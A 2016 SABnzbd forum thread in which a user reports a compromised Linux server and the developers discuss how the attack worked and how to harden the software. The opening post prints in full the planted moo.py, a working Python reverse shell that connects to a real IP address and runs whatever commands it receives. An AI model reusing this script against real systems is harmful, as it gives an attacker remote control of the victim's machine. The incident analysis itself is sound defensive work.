Unwanted user post processing script

Come up with a useful post-processing script? Share it here!
JohanK
Newbie
Newbie
Posts: 8
Joined: November 20th, 2016, 4:19 am

Unwanted user post processing script

Post by JohanK » November 20th, 2016, 4:38 am

Hi all

after looking at my successfully downloaded files I noticed the following directories: fu and fu.1 in the downloads area.
both contained a script called moo.py.

In the sabnzbd settings this directory was set as the user-post-processing directory. (not by me)
Both files owned by the user sabnzbd (limited rights).

Running sabnzbd on a Linux server, version 0.7.20

The contents of the file is:

Code: Select all

#!/usr/bin/python
import socket,subprocess
HOST = '104.245.235.99'    # The remote host
PORT = 4430            # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
     # recieve shell command
     data = s.recv(1024)
     # if its quit, then break out and close socket
     if data == "quit": break
     # do shell command
     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     # read output
     stdout_value = proc.stdout.read() + proc.stderr.read()
     # send output to attacker
     s.send(stdout_value)
# close socket
s.close()

It does not seem totally harmless to me, nor should it be something installed as part of sabnzbd.

How do I stop this happening in the future, specially the part where my sabnzbd configuration was changed to set the "fu" directory as postprocessing user script directory by something/someone.

User avatar
safihre
Administrator
Administrator
Posts: 1668
Joined: April 30th, 2015, 7:35 am
Location: Switzerland
Contact:

Re: Unwanted user post processing script

Post by safihre » November 20th, 2016, 5:16 am

Wow.. This is bad.
Is your machine exposed to the internet?
Change your ports, usernames, passwords of SAB!

Can you see when these folders and scripts were created?
The IP mentioned is not available right now, but a lookup suggests it is located in NewYork (might just be a relay).

JohanK
Newbie
Newbie
Posts: 8
Joined: November 20th, 2016, 4:19 am

Re: Unwanted user post processing script

Post by JohanK » November 20th, 2016, 6:43 am

Files were created 3 Feb 16.

not sure if the executable bit has to be set on a python script to make it work, but that was not set. But the compiler has the x bit set.
I assume that if some script is running as user "sabnzbd" as it is in my case, it would have access to all sabnzbd files, including the config file without needing further passwords.

Some script must have run before, changing the clear text file sabnzbd.ini (rw only for user sabnzbd). Which is owned by user sabnzbd, so passwords change do not help.
It also added itself (with the IP address in the moo.py file) as a usenet server in the configuration. I guess you can imagine the possibilities this offers :-(

How can I close this gap? Dont want to make the ini file read-only, that cripples sabnzbd.
Last edited by JohanK on November 20th, 2016, 6:49 am, edited 2 times in total.

JohanK
Newbie
Newbie
Posts: 8
Joined: November 20th, 2016, 4:19 am

Re: Unwanted user post processing script

Post by JohanK » November 20th, 2016, 6:44 am

to answer your first question, the user interface is not exposed to the internet, but with the hack they used it does not need to be.

User avatar
safihre
Administrator
Administrator
Posts: 1668
Joined: April 30th, 2015, 7:35 am
Location: Switzerland
Contact:

Re: Unwanted user post processing script

Post by safihre » November 20th, 2016, 6:54 am

Since you say there is fu and fu.1 (Sab naming convention for multiple jobs), that really makes me think this script was downloaded with only access to the interface or API.
By default the Ubuntu version will set your sabnzbd host to 0.0.0.0, causing your sabnzbd to be visible at least from within the network (did you maybe use a WiFi Hotspot at that date?). Changing it to localhost will only allow access from the pc itself.

Otherwise they would have needed some other way to install or alter Sab, but if they already have that, why take all the trouble of using Sab to execute the script? Again another reason for me to think Sab was the entry point somehow.

JohanK
Newbie
Newbie
Posts: 8
Joined: November 20th, 2016, 4:19 am

Re: Unwanted user post processing script

Post by JohanK » November 20th, 2016, 7:03 am

Sab is on a server, with access from all my local network. But Im not running a WiFi access point. Nevertheless it seems unlikely that someone would stop in front of my house, with the purpose of getting in to my server, by coincidence finding sab on there and having this hack ready to install :-)

Nzb's are sent to sab via API, but the API key was changed as well in the ini file, and a full control API was installed, rather than my original restricted (send files only) API key.

User avatar
sander
Release Testers
Release Testers
Posts: 6046
Joined: January 22nd, 2008, 2:22 pm

Re: Unwanted user post processing script

Post by sander » November 20th, 2016, 8:37 am

@Johan,

Maybe useful to find out which download resulted in "moo.py" by looking at all the sabnzbd.log* files.

On Linux, this should work:

Code: Select all

grep "moo.py" ~/.sabnzbd/logs/sabnzbd.log*

JohanK
Newbie
Newbie
Posts: 8
Joined: November 20th, 2016, 4:19 am

Re: Unwanted user post processing script

Post by JohanK » November 20th, 2016, 9:09 am

Sander,
already tried, sab logs in debug mode, have 5 days worth of log files. Nothing going a few months back

User avatar
sander
Release Testers
Release Testers
Posts: 6046
Joined: January 22nd, 2008, 2:22 pm

Re: Unwanted user post processing script

Post by sander » November 20th, 2016, 9:16 am

Strange: my logging goed back to August 28 ... maybe I download very little?

Code: Select all

-rw------- 1 sander sander 3227443 nov 17 18:54 sabnzbd.log
-rw------- 1 sander sander 5242864 nov 11 15:44 sabnzbd.log.1
-rw------- 1 sander sander 5242793 okt 16 14:23 sabnzbd.log.2
-rw-rw-r-- 1 sander sander 5242855 okt  1 09:51 sabnzbd.log.3
-rw-rw-r-- 1 sander sander 5242855 sep 11 21:53 sabnzbd.log.4
-rw-rw-r-- 1 sander sander 5242738 sep  3 10:53 sabnzbd.log.5

JohanK
Newbie
Newbie
Posts: 8
Joined: November 20th, 2016, 4:19 am

Re: Unwanted user post processing script

Post by JohanK » November 20th, 2016, 9:51 am

-rw-r--r-- 1 sabnzbd sabnzbd 0 Jan 11 2015 sabnzbd.error.log
-rw------- 1 sabnzbd sabnzbd 1347824 Nov 20 06:00 sabnzbd.log
-rw------- 1 sabnzbd sabnzbd 5239186 Nov 19 19:28 sabnzbd.log.1
-rw------- 1 sabnzbd sabnzbd 5242814 Nov 19 18:48 sabnzbd.log.2
-rw------- 1 sabnzbd sabnzbd 5242815 Nov 19 18:14 sabnzbd.log.3
-rw------- 1 sabnzbd sabnzbd 4519517 Nov 19 17:29 sabnzbd.log.4
-rw------- 1 sabnzbd sabnzbd 5242756 Nov 19 15:09 sabnzbd.log.5

User avatar
jcfp
Release Testers
Release Testers
Posts: 849
Joined: February 7th, 2008, 12:45 pm

Re: Unwanted user post processing script

Post by jcfp » November 20th, 2016, 11:59 am

safihre wrote:By default the Ubuntu version will set your sabnzbd host to 0.0.0.0
Have to correct you there, this is not the case (and never has been, never will be). Local access only unless users set things up otherwise.
safihre wrote:Otherwise they would have needed some other way to install or alter Sab, but if they already have that, why take all the trouble of using Sab to execute the script? Again another reason for me to think Sab was the entry point somehow.
I suspect that the TS at some point had their install remotely reachable, and this was indeed the sole point of entry. Access to the web interface would allow for downloading a job containing a script, setting the script dir to wherever it was downloaded to; then do another download just as a way to run that (postproc) script. I suspected this scenario would be prevented by sab's refusal to set +x on downloaded files, but looking at the code I'm seeing some weird handling of python scripts in this regard. In particular the code in sabnzbd/newsunpack.py around line 162 and 187, that seems to allow for executing (python) scripts that don't have the executable bit set. That could have opened up an angle of attack in this particular case.

User avatar
safihre
Administrator
Administrator
Posts: 1668
Joined: April 30th, 2015, 7:35 am
Location: Switzerland
Contact:

Re: Unwanted user post processing script

Post by safihre » November 20th, 2016, 12:05 pm

Alternatively: are you sure all the other PC's in your network are fine?
If you lookup this IP it says that it's a know source of port scans and installing backdoors (for Windows)
https://www.abuseipdb.com/check/104.245.235.99

If he was in the network, this could be a way to spread.

EDIT:
Have to correct you there, this is not the case (and never has been, never will be). Local access only unless users set things up otherwise.
Oops sorry, you're right!

JohanK
Newbie
Newbie
Posts: 8
Joined: November 20th, 2016, 4:19 am

Re: Unwanted user post processing script

Post by JohanK » November 20th, 2016, 12:30 pm

I'm not running any windows machines so that's out of the question.
The user interface is/was not exposed to the big outside angry world.

Python scripts dont need the executable bit set, the compiler (which has the executable bit set) runs the script. The sab user has the right to execute scripts.

All you need is to get a .py file in and get it executed somehow. That script will modify the plain text config files of sab (yes it was targetting sab) and open the front door.

There's basically two vulnerabilities
1. how do you get a py script to execute, after downloading it as part of a "innocent" file. Or was the first file not a py script but a shell script or so?
2. The config file is unprotected.

I have now added .py, and some other language/script extensions such as dmg, py, sh, js, pyc, java, c, rc, json to the unwanted extensions. I just don't know if that'll catch them in time.

User avatar
safihre
Administrator
Administrator
Posts: 1668
Joined: April 30th, 2015, 7:35 am
Location: Switzerland
Contact:

Re: Unwanted user post processing script

Post by safihre » November 20th, 2016, 1:14 pm

Did you also found this script that alters the sab-config?
I'm not sure how one would get this script in using regular files..
But clearly SAB shouldn't execute .py files that don't have the +x set, we can easily check that before running a script and we even write it on our wiki: https://sabnzbd.org/wiki/scripts/post-p ... ng-scripts
How would we protect the config and still be able to modify it when we want? And even then, if there's API/interface access someone can do the same changes still.
That's why I'm still not convinced that this wasn't done through API/interface access.. Or how :/

User avatar
jcfp
Release Testers
Release Testers
Posts: 849
Joined: February 7th, 2008, 12:45 pm

Re: Unwanted user post processing script

Post by jcfp » November 20th, 2016, 1:26 pm

safihre wrote:Did you also found this script that alters the sab-config?
It's not needed, the python script in the topic start works as if the remote has shell access, i.e. all normal utils can be used to mod a simple text file (plus the attacker could do api calls this way as well, effectively connecting to the sab server from 'localhost' using curl/wget/etc installed on the same system). Edit: even after losing direct access to the web interface, that is.

Post Reply